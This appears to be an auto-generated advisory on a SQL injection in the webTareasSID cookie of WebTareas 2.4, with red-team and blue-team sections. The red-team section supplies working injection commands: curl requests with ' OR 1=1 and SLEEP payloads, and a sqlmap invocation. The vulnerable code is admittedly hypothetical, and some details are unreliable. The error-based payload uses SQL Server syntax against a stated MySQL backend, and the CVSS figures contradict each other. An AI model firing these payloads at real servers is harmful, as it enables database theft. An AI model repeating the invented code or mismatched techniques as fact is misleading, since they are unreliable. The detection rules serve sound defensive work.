CVE-2023-53972

Executive Summary

CVE-2023-53972 is a critical SQL injection vulnerability in WebTareas 2.4, an open-source project management application. The flaw resides in the webTareasSID cookie parameter, which is processed without proper sanitization or parameterization. An unauthenticated attacker can inject arbitrary SQL commands into the database query, enabling both error-based and time-based blind SQL injection techniques. This allows extraction of sensitive data (e.g., user credentials, project details) and potential lateral movement within the database server. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical (9.8). No official patch exists, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains high due to the lack of authentication required.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone PHP application (WebTareas). No package manager or supply chain component is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – potential to modify or delete data.
• Availability Impact: High (A:H) – possible denial of service via SQL manipulation.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL queries, leading to full database compromise.

Deep Dive & Mechanics

The vulnerability exists in the session handling mechanism of WebTareas 2.4. The application reads the webTareasSID cookie value and directly concatenates it into a SQL query without proper escaping or parameterization. The vulnerable code snippet (hypothetical based on common patterns) is:

$sid = $_COOKIE['webTareasSID'];
$query = "SELECT * FROM sessions WHERE session_id = '$sid'";
$result = mysqli_query($conn, $query);

An attacker can set the cookie to a malicious payload such as:

' OR 1=1 --

This would result in the query:

SELECT * FROM sessions WHERE session_id = '' OR 1=1 --'

The -- comments out the rest of the query, returning all rows. For data extraction, error-based techniques can be used (e.g., AND 1=CONVERT(int,@@version)--) to trigger errors that reveal database information. Time-based blind injection (e.g., AND IF(1=1,SLEEP(5),0)--) can be used to infer data bit by bit.

The database backend is likely MySQL/MariaDB, as WebTareas is PHP-based. The injection point is in the webTareasSID cookie, which is processed before authentication, making it accessible to unauthenticated users.

Vulnerable vs. Patched Code

Vulnerable Code (WebTareas 2.4):

// In session validation logic
$sid = $_COOKIE['webTareasSID'];
$query = "SELECT * FROM sessions WHERE session_id = '$sid'";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical fix):

// Use prepared statements
$sid = $_COOKIE['webTareasSID'];
$stmt = $conn->prepare("SELECT * FROM sessions WHERE session_id = ?");
$stmt->bind_param("s", $sid);
$stmt->execute();
$result = $stmt->get_result();

The fix involves replacing string concatenation with parameterized queries (prepared statements). This prevents SQL injection by separating SQL logic from data. No official patch is available from the vendor.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WebTareas 2.4 running on a target server.
• Network access to the application (e.g., http://target/webtareas/).
• Tools: sqlmap, curl, or custom Python script.

Exploitation Steps:

1. Identify the vulnerable endpoint: The webTareasSID cookie is sent with every request to the application. Use a proxy (e.g., Burp Suite) to capture a request.

2. Test for injection: Send a request with a malicious cookie:

   curl -b "webTareasSID=' OR 1=1 --" http://target/webtareas/index.php
   

   If the application returns a different response (e.g., all sessions listed), injection is confirmed.

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target/webtareas/index.php" --cookie="webTareasSID=*" --batch --dbs
   

   The * marks the injection point. sqlmap will detect the injection type and extract databases, tables, and data.

4. Manual blind injection (time-based):

   curl -b "webTareasSID=' AND IF(1=1,SLEEP(5),0)--" http://target/webtareas/index.php
   

   A 5-second delay confirms the injection.

Example payload for data extraction (error-based):

webTareasSID=' AND 1=CONVERT(int,(SELECT @@version))--

Blue Team (Defensive)

Detection:

• Monitor HTTP requests for abnormal cookie values containing SQL keywords (e.g., OR, AND, SLEEP, UNION).
• Use WAF rules to block requests with suspicious cookie patterns.
• Enable database query logging to detect anomalous queries.

Mitigation:

• Apply the hypothetical patch (prepared statements) if source code access is available.
• If patching is not possible, implement a virtual patch via WAF (e.g., ModSecurity rule to block SQL injection in cookies).
• Restrict network access to the WebTareas application (e.g., VPN only).
• Monitor for exploitation attempts using the detection rules below.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with webTareasSID cookie containing SQL keywords (e.g., ' OR, SLEEP, UNION).
  • Unusual response times (e.g., 5-second delays) indicating time-based injection.
  • Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• Host IOCs:

  • Database logs showing queries with injected SQL (e.g., SELECT * FROM sessions WHERE session_id = '' OR 1=1 --').
  • Unauthorized database access from the web server user.
  • New user accounts or modified data in the WebTareas database.

• File IOCs:

  • Modified PHP files (if attacker uploaded webshells via SQL injection to file write).
  • Suspicious entries in web server access logs (e.g., webTareasSID cookie with encoded payloads).

Detection Engineering

YARA Rule

rule CVE_2023_53972_WebTareas_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting webTareasSID cookie in WebTareas 2.4"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53972"
    strings:
        $s1 = "webTareasSID=" nocase
        $s2 = "' OR " nocase
        $s3 = "SLEEP(" nocase
        $s4 = "UNION SELECT" nocase
        $s5 = "1=1" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2023-53972 WebTareas SQL Injection via Cookie
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts in webTareasSID cookie for WebTareas 2.4
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-53972
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-cookie|contains: "webTareasSID"
        cs-cookie|contains|any:
            - "' OR "
            - "SLEEP("
            - "UNION SELECT"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53972 WebTareas SQL Injection in webTareasSID cookie"; flow:to_server; http.cookie; content:"webTareasSID"; nocase; pcre:"/webTareasSID=[^;]*('|\bOR\b|\bSLEEP\b|\bUNION\b)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If WebTareas 2.4 is exposed to the internet, restrict access via firewall rules (allow only trusted IPs).
2. Apply virtual patching: Use a WAF (e.g., ModSecurity) with a rule to block SQL injection in cookies. Example ModSecurity rule:

   SecRule REQUEST_COOKIES "webTareasSID" "@rx (?:'|\bOR\b|\bSLEEP\b|\bUNION\b)" "id:1000002,phase:2,deny,status:403,msg:'CVE-2023-53972 SQL Injection Attempt'"
   

3. Monitor logs: Review web server and database logs for exploitation attempts.

Long-Term Fix:

• Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
• Code fix: Modify the source code to use prepared statements (as shown in the patched code section). This requires access to the WebTareas codebase.
• Replace application: Consider migrating to a supported project management tool with active security maintenance.

Compromise Assessment:

• Check database for unauthorized changes (e.g., new admin users, modified project data).
• Review web server access logs for suspicious cookie values.
• Scan for webshells or backdoors uploaded via SQL injection (if file write privileges were exploited).

Valters IT